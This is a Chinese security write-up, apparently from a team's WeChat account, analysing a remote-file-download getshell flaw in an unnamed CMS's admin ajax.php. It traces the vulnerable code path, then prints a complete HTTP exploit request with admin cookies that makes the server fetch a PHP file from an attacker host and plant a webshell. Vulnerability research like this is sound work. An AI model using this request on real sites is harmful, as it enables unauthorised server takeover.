前言
2023年了,敬业的人还在上班,首先祝大家新年快乐,期待新的一年有新的成长~
闲来无事,逛逛代码仓库,扫一扫,看到某CMS里面有这么一个方法,里面的内容很简单,可以说是目测存在getshell漏洞。但是实际上踩坑无数,弄了很久,因为分析的时候有意思,利用的也有点意思,所以分享出来。
代码分析
1、首先查看漏洞点,downpic方法获取了一个参数$url,未进行过滤,获取URL文件内容后进行文件写入。其中写入后的文件后缀即为传入的URL中的文件后缀。
2、搜索发现/admin/ajax.php存在4处位置调用了此方法
3、通过几次筛选,最后确定入口点为collection_all
第一个if判断,需要id搜索到有东西,经测试网站默认安装便有一条数据,所以id赋值为1即可
4、往下执行,发现这里远程加载的文件内容需要有$C_titlestart和$C_contentstart
构造文件内容第一行
5、再往下,进入下一个if判断,条件为sql语句执行结果小于等于0
构造文件内容第二行中的一串随机字符
6、下一个条件分支,需要文件内容中含有src=",直接复制了那行代码到文件中
7、后面循环无影响,到$picx的赋值,因最后拼接的路径为src="后的字符,故将index.php放到文件的最后面,然后调用了downpic方法
8、查看downpic方法。传入URL,生成以时间戳+随机字符的文件名,获取远程文件内容,写入文件。
漏洞利用
1、构造恶意请求,向外请求index.php
GET /admin/ajax.php?type=collection&action=all&id=1&lang=0&pageurl=http://10.211.55.2:21/index.php HTTP/1.1
Host: 10.211.55.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://10.211.55.3
Connection: close
Referer: http://10.211.55.3/admin/
Cookie: count_all=0; authx=; userx=; passx=; add=%E4%B8%AD%E5%9B%BD; user=admin; pass=e317896f881c24dd527ea70a654d0a00; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; PHPSESSID=ftd1rm1hffcfvdh2d3l9hkmln1; __vtins__JdquY3gNURaKiAFU=%7B%22sid%22%3A%20%222f9206ee-11da-59be-af05-5ce77d606c29%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201657185361904%2C%20%22ct%22%3A%201657183561904%7D; __51uvsct__JdquY3gNURaKiAFU=2; __51vcke__JdquY3gNURaKiAFU=8c5f5b50-675a-576d-a410-a4ba399a8cde; __51vuft__JdquY3gNURaKiAFU=1657173569846; LOGIN_LANG=cn
Content-Length: 2
2、返回成功即可在media目录下看到文件已经成功上传,内容为index.php文件内容
攻击者则可以通过网站安全-文件管理功能查看具体文件名
3、访问该文件,获取webshell
总结
这个漏洞我好像分析了2个小时吧,主要是构造payload方面花了心思,一开始没想看很多代码,直接利用发现失败了,调试了几次终于可以利用,总的来说,利用条件苛刻,可利用性不高,聊胜于无。
题外话:最近新开了个知识星球,期待大家关注。本来是打算放项目上的干货的,但是最近迷上了反序列化和内存马,所以可能会有一段时间都是这类内容。当然干货也会不定时更新,主要分享实战方面的细节。。。
欢迎关注
原文始发于微信公众号(广软NSDA安全团队):记一次文件下载getshell白盒
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论